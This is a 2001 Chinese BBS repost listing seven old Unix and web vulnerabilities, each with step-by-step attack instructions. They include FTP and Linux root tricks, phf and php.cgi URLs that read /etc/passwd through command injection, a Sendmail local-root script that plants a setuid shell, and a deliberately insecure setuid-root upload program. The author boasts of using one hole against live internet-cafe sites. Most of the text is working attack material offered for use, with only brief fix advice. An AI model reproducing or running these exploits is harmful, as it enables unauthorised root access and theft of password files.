荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: fast (平淡), 信区: Security
标  题: 一些系统漏洞
发信站: 荔园晨风BBS站 (Tue Sep 11 12:59:35 2001), 转信

一些系统漏洞
文章类型:攻击实例 文章加入时间:2001年9月11日11:10
----------------------------------------------------------------------------
----
这 一 份 System Holes List 是 一 些 由 国 外 站 台 或 是 NewsGroup 收 集 的
一 些 资 讯 , 系 统 的 漏 洞 一 直 被 玩 家 抓 出 来 , 黑 客 们 也 经 由 一
些 系 统 的 漏 洞 入 侵 电 脑 , 如 果 你 是 一 个 ISP 或 你 有 机 器 连 接 到
 InterNet 上 , 这 些 资 讯 你 就 非 读 不 可 了 ! 有 些 资 讯 我 并 不 会 写
 得 太 清 楚 , 如 果 你 自 己 的 系 统 是 属 于 这 些 漏 洞 版 本 , 快 将 它
 补 一 补 !! 如 果 你 发 现 了 新 的 BUG, 请 一 定 来 信 告 诉 我!
----------------------------------------------------------------------------
----
#1 FTP 入 侵 法 ?? 不 太 实 用 的 方 法 !!
[1] 连 接 到 FTP Server.
[2] 当 系 统 要 求 你 输 入 User Name 时 [Enter] 不 管 它
[3] Password 输 入 --> "quote user ftp"
[4] 接 著 再 输 入 --> "quote cwd ~root"
[5] 再 输 入 --> "quote pass ftp"
这种方法似乎只能用在很老旧的FTP Server上 , 以国内目前的机器应该都不会成功的
, 如果你想要试试 的话 , 找找国外大学的FTP Server试试看吧 !! 依照上面的步骤会
产生甚么样的结果 ?? Hee..he.. 你就 是 root 啦 !!
----------------------------------------------------------------------------
----
#2 Linux 1.2.13 漏 洞 之 一 ?? 成 为 root 吧 !!
Linux 1.2.13 有 许 多 的 漏 洞 , 如 果 你 所 使 用 的 版 本 是 较 新 的 话 ,
 你 大 可 放 心 , 不 然 你 也 可 以 依 照 下 面 的 方 法 试 试 你 的 系 统 !
!
[1] Telnet 到 yournet.net
[2] Login 之 后 输 入 --> "finger @yournet.net"
[3] 再 --> "finger root@yournet.net" 等 root 来 login
[4] 用 WWW Browser 连 到 www.yournet.net
[5] Location 输 入 --> "www.yournet.net/cgi-bin/nph-test-cgi/*"
[6] 回 到 Telnet 软 体 --> "cp /bin/sh /tmp/.sh"
[7] 再 输 入 --> "chmod 4755 /tmp/.sh" (You're root now!!)
    至 于 其 它 Linux 的 System Holes, 有 机 会 再 慢 慢 谈 罗 !! 当 然 已 经
 有 许 多 文 件 讲 到 了 !!
----------------------------------------------------------------------------
----
#3 可 以 用 WWW Browser 抓 /etc/passwd ???? 那 当 然 !!
[1] 用 WWW Browser 连 到 yournet.net
[2] Location 输 入 --> "www.yournet.net/cgi-bin/nph-test-cgi?*"
[3] 接 著 如 果 出 来 一 份 像 Report 的 画 面 的 话 , 接 著 输 入 /cgi-bin/
phf?Qalias=x%0aless%20/etc/passwd
[4] 发 生 了 甚 么 事 ?? etc/passwd 在 你 的 浏 览 器 中 " 显 示 " 出 来 了
!! 快 点 Save 吧 !!
这 个 方 法 管 不 管 用 ?? 依 各 系 统 所 使 用 的 WWW Server 软 体 不 同 而
 有 差 异 , 所 以 如 果 你 在 选 购 WWW Server 软 体 的 时 候 也 请 注 意 一
 下 它 的 安 全 性 , 不 一 定 名 牌 的 就 好 , 像 这 个 Hole... 当 然 这 个
方 法 曾 经 管 用 过 , 至 少 两 天 前 还 试 过 它 可 以 破 解 一 两 个 " 网
路 咖 啡 " 的 站 台 (<--- 又 是 , 安 全 性 值 得 讨 论 )!!
----------------------------------------------------------------------------
----
#4 Xfree86 3.1.2 有 个 漏 洞 能 让 别 人 删 除 " 任 何 " 档 案 ?? 是 的 ! 包
 括 etc/passwd
用 这 个 Script 试 试 看 ...
--- cut here, start code exploit.sh --------------------
!/bin/sh
echo Running exploit to check the Xfree86 3.1.2 hole!
echo Creating file called /tmp/blah which will contain a few words.
echo "This version is NOT exploitable!" >/tmp/blah
ln -s /tmp/blash /tmp/.tX0-lock
startx
echo Now Check /tmp/blah and if it says:
echo \"This version is NOT exploitable!\"
echo then the version you have is not exploitable!
echo Otherwise, it should have a few numbers, then it is exploitable!
--- cut here, end of code exploit.sh -------------------
要 怎 么 补 这 个 漏 洞 呢 ????
[1] 将 它 设 成 superuser 才 能 执 行 ! 用 chmod 4700 指 令 .
[2] 作 一 个 group, 只 将 值 得 相 信 的 人 加 入 此 group, 使 该 档 案 属 此
 group 才 能 执 行 .
[3] 更 新 新 版 的 Xfree86, 可 在 http://www.x.org 下 载 .
----------------------------------------------------------------------------
----
#5 CGI Hole
你 是 不 是 用 phf 的 bug 都 抓 不 到 /etc/passwd 呢??? Try this
[1] 打 开 你 的 Browser
[2] 连 到 www.yournet.net
[3] 在 Location 输 入 http://www.yournet.net/cgi-bin/php.cgi?/etc/passwd
[4] 发 生 了 甚 么 事?? /etc/passwd 在 你 的 浏 览 器 中 “显 示” 出 来 了!
! 快 点 Save 吧!!
Phf 的 bug 在 本 人 的 观 查 中 以 NCSA 的 成 功 最 多, 那 Apache/1.2.0., CE
RN/3.0A., 也 有 过 成 功 的 例 子, 不 过 有 的 站 都 已 经 写 了 程 序, 如 果
 你 用 proxy 去 抓 的 话, 还 是 会 把 你 本 来 的 IP 的 抓 出 来, 那 他 们 会
 跟 你 的 ISP 说, 那 ISP 会 处 分 你, 本 人 就 被 取 消 帐 号 过 ..........
唉 ...... 我 的 固 定 IP!
----------------------------------------------------------------------------
----
#6 SendMail Hole
适 用 于 版 本 8.7-8.8.2 for Linux, FreeBSD, 和 其 它 的 UNIX 系 统。
$ telnet localhost 25 <----------打
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 localhost ESMTP Sendmail 8.7.5/8.7.3; Thu, 25 Dec 1997 15:17:46 +0800
quit <----------确定版本,是8.7到8.8.2中的版本,然後离开
221 localhost closing connection
Connection closed by foreign host.
$ cat >send.sh <--------照打
----------------------------send.sh开始-------------------------------------

#/bin/sh
echo 'main() '>>leshka.c
echo '{ '>>leshka.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c
echo '} '>>leshka.c
#
#
echo 'main() '>>smtpd.c
echo '{ '>>smtpd.c
echo ' setuid(0); setgid(0); '>>smtpd.c
echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
echo '} '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"
"\n"
|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
echo "Now type: /tmp/sh"
-------------------------------send.sh结束----------------------------------
--
$ chmod 755 send.sh <------------变可执行档
$ ./send.sh <------------执行
Now type: /tmp/sh
$ /tmp/sh <---------照打
# whoami <---------看看你是谁
root <---------到手啦!!!
----------------------------------------------------------------------------
----
#7 让任何人upload档案在任何目录下
root 身 份 下 来 做 (Must be root!)
$ cat >install <---------编辑一个叫install的shell script
#! /bin/csh -f }
cc upload.c }
cp a.out upload }
chown root upload } 内容
chmod 755 upload }
chmod u+s upload }
^d (ctrl+d) <--------存档
$ cat >upload.c <---------主档
/************* Chen. 1/14/1997 ****************/
/* Copyright Reserved 521973 */
/**********************************************/
#include <stdio.h>
main()
{ char filename[48];
printf( "This program will upload up.txt ASCII file to specified file\n"
);
printf( "Chen ZhengDong Copyright Reserved\n" );
printf( "Where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{ FILE *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== NULL )
{ printf( "file not exist." );
return 0;
}
for( ;; )
{
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}
-----------------------------end--------------------------------------------

# chmod 755 install <----------- 让他可执行
#./install <----------- run it !
文章出处:第八军团
文章作者:JunTuan


--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.127]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店